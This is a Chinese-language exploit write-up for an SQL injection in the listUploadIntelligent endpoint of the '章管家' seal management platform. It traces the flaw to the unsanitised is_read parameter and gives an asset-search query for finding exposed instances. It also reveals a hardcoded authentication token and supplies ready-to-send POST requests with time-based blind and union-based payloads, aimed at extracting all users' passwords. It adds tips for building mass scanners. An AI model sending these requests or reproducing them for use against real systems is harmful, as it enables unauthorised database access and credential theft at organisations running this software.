listUploadIntelligent接口存在 SQL 注入漏洞。攻击者可以通过构造特定的 POST 请求注入恶意 SQL 代码,利用该漏洞对数据库执行任意 SQL 操作,获取所有用户的账户密码信息。
app="章管家-印章智慧管理平台"
1、首先有 这个 listUploadIntelligent 关键字,先用全局搜索工具搜一下
2、定位到ROOT\WEB-INF\classes\com\shjysoft\api\app\AppMessageController.class 下的class文件,使用idea打开查看源码
3、首先源码中声明了路由为:/app/message/listUploadIntelligent.htm,且传参有:pageNo、pageSize、keyWord、startDate、endDate、deptIds、type_id、is_read,且方法自带参数有person_id、unit_id
4、接着往下看,queryMap会将前端传参全部存储,然后queryMap直接进入searchUploadIntelligentByRead方法,顾名思义,应该是查询操作,进入看代码
5、进来一看,好家伙直接3个sql语句摆在眼前。第一个太长了有点麻烦,本着简单的原则,直接选第二个进行分析
6、第二个sql语句if条件很简单,只要is_read值不为空,即拼接sql。而sql最后面,is_read值直接拼接了sql,为数字型注入点
1、回到本地 搭建的环境,构造一下请求发包:
POST /app/message/listUploadIntelligent.htm?&person_id=1&unit_id=1 HTTP/1.1
Host:127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 119
pageNo=1&pageSize=20&keyWord=&startDate=&endDate=&deptIds=&type_id=&is_read=-1 and (select*from(select%0Asleep(10))x)
2、报错 Token无效,请重新登录。再使用文件搜索工具搜一下token,在main.jsp中找到token值为dingtalk_token,再次构造:
3、poc1:
POST /app/message/listUploadIntelligent.htm?token=dingtalk_token&person_id=1&unit_id=1 HTTP/1.1
Host:127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 119
pageNo=1&pageSize=20&keyWord=&startDate=&endDate=&deptIds=&type_id=&is_read=-1 and (select*from(select%0Asleep(10))x)
4、当然,不是所有的站点 延时注入payload都一定通用。如果是编写扫描脚本,建议最好使用or 1=1 ,这样不容易漏掉。
5、同样,此注入也支持联合注入,字段数为12:
poc2:
POST /app/message/listUploadIntelligent.htm?token=dingtalk_token&person_id=1&unit_id=1 HTTP/1.1
Host:127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Cookie:
Content-Type: application/x-www-form-urlencoded
Content-Length: 131
pageNo=1&pageSize=20&keyWord=&startDate=&endDate=&deptIds=&type_id=&is_read=-1 union select md5(123456),2,3,4,5,6,7,8,9,10,11,12 --